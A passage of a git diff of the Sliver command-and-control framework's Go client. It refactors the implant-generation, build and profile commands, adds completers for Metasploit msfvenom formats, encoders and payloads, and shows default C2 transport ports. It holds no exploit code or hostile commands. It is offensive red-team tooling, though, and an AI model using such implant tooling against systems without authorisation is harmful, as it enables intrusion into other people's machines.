con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", con.UnwrapServerErr(err)) return } diff --git a/client/command/generate/generate.go b/client/command/generate/generate.go index 945bc707ea..61c2cf11bc 100644 --- a/client/command/generate/generate.go +++ b/client/command/generate/generate.go @@ -44,28 +44,28 @@ import ( ) const ( - // DefaultMTLSLPort is the default port for mtls + // DefaultMTLSLPort is the default port for mtls. DefaultMTLSLPort = 8888 - // DefaultWGPort is the default port for wg + // DefaultWGPort is the default port for wg. DefaultWGLPort = 53 - // DefaultWGNPort is the default n port for wg + // DefaultWGNPort is the default n port for wg. DefaultWGNPort = 8888 - // DefaultWGKeyExPort is the default port for wg key exchange + // DefaultWGKeyExPort is the default port for wg key exchange. DefaultWGKeyExPort = 1337 - // DefaultHTTPLPort is the default port for http + // DefaultHTTPLPort is the default port for http. DefaultHTTPLPort = 80 - // DefaultHTTPSLPort is the default port for https + // DefaultHTTPSLPort is the default port for https. DefaultHTTPSLPort = 443 - // DefaultDNSLPortis the default port for dns + // DefaultDNSLPortis the default port for dns. DefaultDNSLPort = 53 - // DefaultTCPPivotPort is the default port for tcp pivots + // DefaultTCPPivotPort is the default port for tcp pivots. DefaultTCPPivotPort = 9898 - // DefaultReconnect is the default reconnect time + // DefaultReconnect is the default reconnect time. DefaultReconnect = 60 - // DefaultPollTimeout is the default poll timeout + // DefaultPollTimeout is the default poll timeout. DefaultPollTimeout = 360 // 6 minutes - // DefaultMaxErrors is the default max reconnection errors before giving up + // DefaultMaxErrors is the default max reconnection errors before giving up. DefaultMaxErrors = 1000 ) @@ -74,7 +74,7 @@ const ( ) var ( - // SupportedCompilerTargets - Supported compiler targets + // SupportedCompilerTargets - Supported compiler targets. SupportedCompilerTargets = map[string]bool{ "darwin/amd64": true, "darwin/arm64": true, @@ -88,8 +88,8 @@ var ( ErrNoValidBuilders = errors.New("no valid external builders for target") ) -// GenerateCmd - The main command used to generate implant binaries -func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// GenerateCmd - The main command used to generate implant binaries. +func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, config := parseCompileFlags(cmd, con) if config == nil { return @@ -127,7 +127,7 @@ func expandPath(path string) string { return filepath.Join(os.Getenv("HOME"), path[1:]) } -func saveLocation(save, DefaultName string, con *console.SliverConsoleClient) (string, error) { +func saveLocation(save, DefaultName string, con *console.SliverClient) (string, error) { var saveTo string if save == "" { save, _ = os.Getwd() @@ -181,8 +181,8 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string { } } -// Shared function that extracts the compile flags from the grumble context -func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (string, *clientpb.ImplantConfig) { +// Shared function that extracts the compile flags from the grumble context. +func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *clientpb.ImplantConfig) { var name string if nameF, _ := cmd.Flags().GetString("name"); nameF != "" { name = strings.ToLower(nameF) @@ -409,8 +409,8 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st return name, config } -// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled -func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverConsoleClient) (bool, []*commonpb.File) { +// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled. +func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverClient) (bool, []*commonpb.File) { trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders") encoders := []*commonpb.File{} if trafficEncoders != "" { @@ -430,7 +430,7 @@ func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *consol return false, encoders } -func getTargets(targetOS string, targetArch string, con *console.SliverConsoleClient) (string, string) { +func getTargets(targetOS string, targetArch string, con *console.SliverClient) (string, string) { /* For UX we convert some synonymous terms */ if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" { targetOS = "darwin" @@ -466,7 +466,7 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl return targetOS, targetArch } -// ParseMTLSc2 - Parse mtls connection string arg +// ParseMTLSc2 - Parse mtls connection string arg. func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -501,7 +501,7 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseWGc2 - Parse wg connect string arg +// ParseWGc2 - Parse wg connect string arg. func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -617,7 +617,7 @@ func uriWithoutProxyOptions(uri *url.URL) { uri.RawQuery = options.Encode() } -// ParseHTTPc2 - Parse HTTP connection string arg +// ParseHTTPc2 - Parse HTTP connection string arg. func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -663,7 +663,7 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseDNSc2 - Parse DNS connection string arg +// ParseDNSc2 - Parse DNS connection string arg. func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -698,7 +698,7 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseNamedPipec2 - Parse named pipe connection string arg +// ParseNamedPipec2 - Parse named pipe connection string arg. func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -745,7 +745,7 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseTCPPivotc2 - Parse tcp pivot connection string arg +// ParseTCPPivotc2 - Parse tcp pivot connection string arg. func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -783,7 +783,7 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -func externalBuild(name string, config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) { +func externalBuild(name string, config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) { potentialBuilders, err := findExternalBuilders(config, con) if err != nil { return nil, err @@ -828,7 +828,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con BuilderName: externalBuilder.Name, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil, err } con.Printf("done\n") @@ -887,7 +887,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con ImplantName: name, }) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data)) @@ -906,7 +906,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con return nil, nil } -func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) { +func compile(config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) { if config.IsBeacon { interval := time.Duration(config.BeaconInterval) con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval) @@ -929,7 +929,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil, err } @@ -954,7 +954,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon Data: fileData, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.Printf("success!\n") fileData = resp.GetData() @@ -999,14 +999,14 @@ func getLimitsString(config *clientpb.ImplantConfig) string { return strings.Join(limits, "; ") } -func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool { +func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverClient) bool { if format == clientpb.OutputFormat_EXECUTABLE { return true // We don't need cross-compilers when targeting EXECUTABLE formats } compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Failed to check target compatibility: %s\n", err) + con.PrintErrorf("Failed to check target compatibility: %s\n", con.UnwrapServerErr(err)) return true } @@ -1040,7 +1040,7 @@ func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossC return false } -func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool { +func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverClient) bool { con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch) switch targetOS { case "windows": @@ -1058,10 +1058,10 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar return confirm } -func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) { +func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverClient) ([]*clientpb.Builder, error) { builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if len(builders.Builders) < 1 { return []*clientpb.Builder{}, ErrNoExternalBuilder @@ -1084,7 +1084,7 @@ func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverCon return validBuilders, nil } -func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) { +func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverClient) (*clientpb.Builder, error) { choices := []string{} for _, builder := range builders { choices = append(choices, builder.Name) diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index 62406b2c5b..96cb5805bb 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -3,16 +3,20 @@ package generate import ( "context" "fmt" + "strings" "github.com/rsteube/carapace" + "github.com/rsteube/carapace/pkg/cache" + "github.com/rsteube/carapace/pkg/style" + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" ) // GetSliverBinary - Get the binary of an implant based on it's profile -func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) { +func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient) ([]byte, error) { var data []byte ctrl := make(chan bool) @@ -37,11 +41,15 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol } // FormatCompleter completes builds' architectures. -func ArchCompleter(con *console.SliverConsoleClient) carapace.Action { +func ArchCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("No compiler info: %s", err.Error()) + return carapace.ActionMessage("No compiler info: %s", con.UnwrapServerErr(err)) } var results []string @@ -67,15 +75,19 @@ func ArchCompleter(con *console.SliverConsoleClient) carapace.Action { } return carapace.ActionValues(results...).Tag("architectures") - }) + }).Cache(completers.CacheCompilerInfo) } -// FormatCompleter completes build operating systems -func OSCompleter(con *console.SliverConsoleClient) carapace.Action { +// FormatCompleter completes build operating systems. +func OSCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("No compiler info: %s", err.Error()) + return carapace.ActionMessage("No compiler info: %s", con.UnwrapServerErr(err)) } var results []string @@ -101,10 +113,10 @@ func OSCompleter(con *console.SliverConsoleClient) carapace.Action { } return carapace.ActionValues(results...).Tag("operating systems") - }) + }).Cache(completers.CacheCompilerInfo) } -// FormatCompleter completes build formats +// FormatCompleter completes build formats. func FormatCompleter() carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { return carapace.ActionValues([]string{ @@ -113,9 +125,43 @@ func FormatCompleter() carapace.Action { }) } -// HTTPC2Completer - Completes the HTTP C2 PROFILES -func HTTPC2Completer(con *console.SliverConsoleClient) carapace.Action { +// TrafficEncoderCompleter - Completes the names of traffic encoders. +func TrafficEncodersCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + + grpcCtx, cancel := con.GrpcContext(nil) + defer cancel() + trafficEncoders, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{}) + if err != nil { + return carapace.ActionMessage("failed to fetch traffic encoders: %s", con.UnwrapServerErr(err)) + } + + results := []string{} + for _, encoder := range trafficEncoders.Encoders { + results = append(results, encoder.Wasm.Name) + skipTests := "" + if encoder.SkipTests { + skipTests = "[skip-tests]" + } + desc := fmt.Sprintf("(Wasm: %s) %s", encoder.Wasm.Name, skipTests) + results = append(results, desc) + } + + return carapace.ActionValuesDescribed(results...).Tag("traffic encoders"). + Invoke(c).Filter(c.Args...).ToA() + }).Cache(completers.CacheCompilerInfo) +} + +// HTTPC2Completer - Completes the HTTP C2 PROFILES +func HTTPC2Completer(con *console.SliverClient) carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + grpcCtx, cancel := con.GrpcContext(nil) defer cancel() httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(grpcCtx, &commonpb.Empty{}) @@ -131,27 +177,111 @@ func HTTPC2Completer(con *console.SliverConsoleClient) carapace.Action { }) } -// TrafficEncoderCompleter - Completes the names of traffic encoders -func TrafficEncodersCompleter(con *console.SliverConsoleClient) carapace.Action { - return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - grpcCtx, cancel := con.GrpcContext(nil) - defer cancel() - trafficEncoders, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{}) +// MsfFormatCompleter completes MsfVenom stager formats. +func MsfFormatCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + + info, err := con.Rpc.GetMetasploitCompiler(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("failed to fetch traffic encoders: %s", err.Error()) + return carapace.ActionMessage("failed to fetch Metasploit info: %s", con.UnwrapServerErr(err)) } - results := []string{} - for _, encoder := range trafficEncoders.Encoders { - results = append(results, encoder.Wasm.Name) - skipTests := "" - if encoder.SkipTests { - skipTests = "[skip-tests]" + var results []string + + for _, fmt := range info.Formats { + fmt = strings.TrimSpace(fmt) + if fmt == "" { + continue } - desc := fmt.Sprintf("(Wasm: %s) %s", encoder.Wasm.Name, skipTests) + + results = append(results, fmt) + + } + + return carapace.ActionValues(results...).Tag("msfvenom formats") + }).Cache(completers.CacheMsf) +} + +// MsfArchCompleter completes MsfVenom stager architectures. +func MsfArchCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + + info, err := con.Rpc.GetMetasploitCompiler(context.Background(), &commonpb.Empty{}) + if err != nil { + return carapace.ActionMessage("failed to fetch Metasploit info: %s", con.UnwrapServerErr(err)) + } + + var results []string + + for _, arch := range info.Archs { + arch = strings.TrimSpace(arch) + if arch == "" { + continue + } + + results = append(results, arch) + } + + return carapace.ActionValues(results...).Tag("msfvenom archs") + }).Cache(completers.CacheMsf) +} + +// MsfFormatCompleter completes MsfVenom stager encoders. +func MsfEncoderCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + + info, err := con.Rpc.GetMetasploitCompiler(context.Background(), &commonpb.Empty{}) + if err != nil { + return carapace.ActionMessage("failed to fetch Metasploit info: %s", con.UnwrapServerErr(err)) + } + + var results []string + + for _, mod := range info.Encoders { + results = append(results, mod.FullName) + + level := fmt.Sprintf("%-10s", "["+mod.Quality+"]") + desc := fmt.Sprintf("%s %s", level, mod.Description) + results = append(results, desc) } - return carapace.ActionValuesDescribed(results...).Tag("traffic encoders") - }) + return carapace.ActionValuesDescribed(results...).Tag("msfvenom encoders") + }).Cache(completers.CacheMsf) +} + +// MsfPayloadCompleter completes Metasploit payloads. +func MsfPayloadCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + + info, err := con.Rpc.GetMetasploitCompiler(context.Background(), &commonpb.Empty{}) + if err != nil { + return carapace.ActionMessage("failed to fetch Metasploit info: %s", con.UnwrapServerErr(err)) + } + + var results []string + + for _, mod := range info.Payloads { + if mod.FullName == "" && mod.Name == "" { + continue + } + + results = append(results, mod.FullName) + results = append(results, mod.Description) + } + + return carapace.ActionValuesDescribed(results...) + }).Cache(completers.CacheMsf, cache.String("payloads")).MultiParts("/").StyleF(style.ForPath) } diff --git a/client/command/generate/implants-rm.go b/client/command/generate/implants-rm.go index acb6f6b92e..935bbfef87 100644 --- a/client/command/generate/implants-rm.go +++ b/client/command/generate/implants-rm.go @@ -11,30 +11,30 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// ImplantsRmCmd - Deletes an archived implant build from the server -func ImplantsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - name := args[0] - // name := ctx.Args.String("name") - if name == "" { - con.PrintErrorf("No name specified\n") - return - } - build := ImplantBuildByName(name, con) - if build == nil { - con.PrintErrorf("No implant build found with name '%s'\n", name) - return - } - confirm := false - prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)} - survey.AskOne(prompt, &confirm) - if !confirm { - return - } - _, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{ - Name: name, - }) - if err != nil { - con.PrintErrorf("Failed to delete implant %s\n", err) - return +// ImplantsRmCmd - Deletes an archived implant build from the server. +func ImplantsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + for _, name := range args { + if name == "" { + continue + } + + build := ImplantBuildByName(name, con) + if build == nil { + con.PrintErrorf("No implant build found with name '%s'\n", name) + return + } + confirm := false + prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)} + survey.AskOne(prompt, &confirm) + if !confirm { + return + } + _, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{ + Name: name, + }) + if err != nil { + con.PrintErrorf("Failed to delete implant %s\n", con.UnwrapServerErr(err)) + continue + } } } diff --git a/client/command/generate/implants-stage.go b/client/command/generate/implants-stage.go index d046563578..0541af5916 100644 --- a/client/command/generate/implants-stage.go +++ b/client/command/generate/implants-stage.go @@ -12,7 +12,7 @@ import ( ) // ImplantsStageCmd - Serve a previously generated build -func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("Unable to load implant builds '%s'\n", err) @@ -20,7 +20,7 @@ func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } options := []string{} - for name, _ := range builds.Configs { + for name := range builds.Configs { options = append(options, name) } diff --git a/client/command/generate/implants.go b/client/command/generate/implants.go index 35b9d59d41..5496fd5eab 100644 --- a/client/command/generate/implants.go +++ b/client/command/generate/implants.go @@ -33,7 +33,7 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// ImplantBuildFilter - Filter implant builds +// ImplantBuildFilter - Filter implant builds. type ImplantBuildFilter struct { GOOS string GOARCH string @@ -43,11 +43,11 @@ type ImplantBuildFilter struct { Debug bool } -// ImplantsCmd - Displays archived implant builds -func ImplantsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ImplantsCmd - Displays archived implant builds. +func ImplantsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } implantBuildFilters := ImplantBuildFilter{} @@ -60,12 +60,13 @@ func ImplantsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } // PrintImplantBuilds - Print the implant builds on the server -func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilter, con *console.SliverConsoleClient) { +func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilter, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Name", - "Implant Type", + "Type", "Template", "OS/Arch", "Format", @@ -132,17 +133,21 @@ func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilt } con.Println(tw.Render()) - con.Println() + con.Println("\n") } -// ImplantBuildNameCompleter - Completer for implant build names -func ImplantBuildNameCompleter(con *console.SliverConsoleClient) carapace.Action { +// ImplantBuildNameCompleter - Completer for implant build names. +func ImplantBuildNameCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + var action carapace.Action builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("failed to get implant builds: %s", err.Error()) + return carapace.ActionMessage("failed to get implant builds: %s", con.UnwrapServerErr(err)) } filters := &ImplantBuildFilter{} @@ -205,8 +210,8 @@ func ImplantBuildNameCompleter(con *console.SliverConsoleClient) carapace.Action return carapace.ActionCallback(comps) } -// ImplantBuildByName - Get an implant build by name -func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig { +// ImplantBuildByName - Get an implant build by name. +func ImplantBuildByName(name string, con *console.SliverClient) *clientpb.ImplantConfig { builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { return nil diff --git a/client/command/generate/profiles-generate.go b/client/command/generate/profiles-generate.go index cb232a483b..bb4b01ef28 100644 --- a/client/command/generate/profiles-generate.go +++ b/client/command/generate/profiles-generate.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// ProfilesGenerateCmd - Generate an implant binary based on a profile -func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ProfilesGenerateCmd - Generate an implant binary based on a profile. +func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { name = args[0] diff --git a/client/command/generate/profiles-new.go b/client/command/generate/profiles-new.go index f9977592f7..a53bb94aa7 100644 --- a/client/command/generate/profiles-new.go +++ b/client/command/generate/profiles-new.go @@ -26,8 +26,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// ProfilesNewCmd - Create a new implant profile -func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ProfilesNewCmd - Create a new implant profile. +func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { name = args[0] @@ -43,14 +43,14 @@ func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Saved new implant profile %s\n", resp.Name) } } -// ProfilesNewBeaconCmd - Create a new beacon profile -func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ProfilesNewBeaconCmd - Create a new beacon profile. +func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { name = args[0] diff --git a/client/command/generate/profiles-rm.go b/client/command/generate/profiles-rm.go index 4015c4ea87..3081e78196 100644 --- a/client/command/generate/profiles-rm.go +++ b/client/command/generate/profiles-rm.go @@ -29,33 +29,33 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// ProfilesRmCmd - Delete an implant profile -func ProfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - var name string - if len(args) > 0 { - name = args[0] - } - // name := ctx.Args.String("name") - if name == "" { - con.PrintErrorf("No profile name specified\n") - return - } - profile := GetImplantProfileByName(name, con) - if profile == nil { - con.PrintErrorf("No profile found with name '%s'\n", name) - return - } - confirm := false - prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)} - survey.AskOne(prompt, &confirm) - if !confirm { - return - } - _, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{ - Name: name, - }) - if err != nil { - con.PrintErrorf("Failed to delete profile %s\n", err) - return +// ProfilesRmCmd - Delete an implant profile. +func ProfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + for _, name := range args { + if name == "" { + continue + } + if name == "" { + con.PrintErrorf("No profile name specified\n") + return + } + profile := GetImplantProfileByName(name, con) + if profile == nil { + con.PrintErrorf("No profile found with name '%s'\n", name) + return + } + confirm := false + prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)} + survey.AskOne(prompt, &confirm) + if !confirm { + return + } + _, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{ + Name: name, + }) + if err != nil { + con.PrintErrorf("Failed to delete profile %s\n", con.UnwrapServerErr(err)) + continue + } } } diff --git a/client/command/generate/profiles-stage.go b/client/command/generate/profiles-stage.go index d06052beec..99d6ed8cbd 100644 --- a/client/command/generate/profiles-stage.go +++ b/client/command/generate/profiles-stage.go @@ -30,7 +30,7 @@ import ( ) // ProfilesStageCmd - Generate an encrypted/compressed implant binary based on a profile -func ProfilesStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ProfilesStageCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("name") profileName := args[0] aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key") diff --git a/client/command/generate/profiles.go b/client/command/generate/profiles.go index 04db2812de..d33de47a68 100644 --- a/client/command/generate/profiles.go +++ b/client/command/generate/profiles.go @@ -35,8 +35,8 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// ProfilesCmd - Display implant profiles -func ProfilesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ProfilesCmd - Display implant profiles. +func ProfilesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { profiles := getImplantProfiles(con) if profiles == nil { return @@ -49,10 +49,11 @@ func ProfilesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -// PrintProfiles - Print the profiles -func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) { +// PrintProfiles - Print the profiles. +func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Profile Name", "Implant Type", @@ -101,20 +102,20 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConso con.Printf("%s\n", tw.Render()) } -func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile { +func getImplantProfiles(con *console.SliverClient) []*clientpb.ImplantProfile { pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil } return pbProfiles.Profiles } -// GetImplantProfileByName - Get an implant profile by a specific name -func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile { +// GetImplantProfileByName - Get an implant profile by a specific name. +func GetImplantProfileByName(name string, con *console.SliverClient) *clientpb.ImplantProfile { pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil } for _, profile := range pbProfiles.Profiles { @@ -267,8 +268,8 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string return properties } -// PrintProfileInfo - Print detailed information about a given profile -func PrintProfileInfo(name string, con *console.SliverConsoleClient) { +// PrintProfileInfo - Print detailed information about a given profile. +func PrintProfileInfo(name string, con *console.SliverClient) { profile := GetImplantProfileByName(name, con) if profile == nil { con.PrintErrorf("Could not find a profile with the name \"%s\"", name) @@ -277,7 +278,7 @@ func PrintProfileInfo(name string, con *console.SliverConsoleClient) { config := profile.Config properties := populateProfileProperties(config) - //con.Printf("--- Details for profile %s ---\n", profile.Name) + tw := table.NewWriter() // Implant Basics @@ -424,14 +425,18 @@ func PrintProfileInfo(name string, con *console.SliverConsoleClient) { } } -// ProfileNameCompleter - Completer for implant build names -func ProfileNameCompleter(con *console.SliverConsoleClient) carapace.Action { +// ProfileNameCompleter - Completer for implant build names. +func ProfileNameCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) 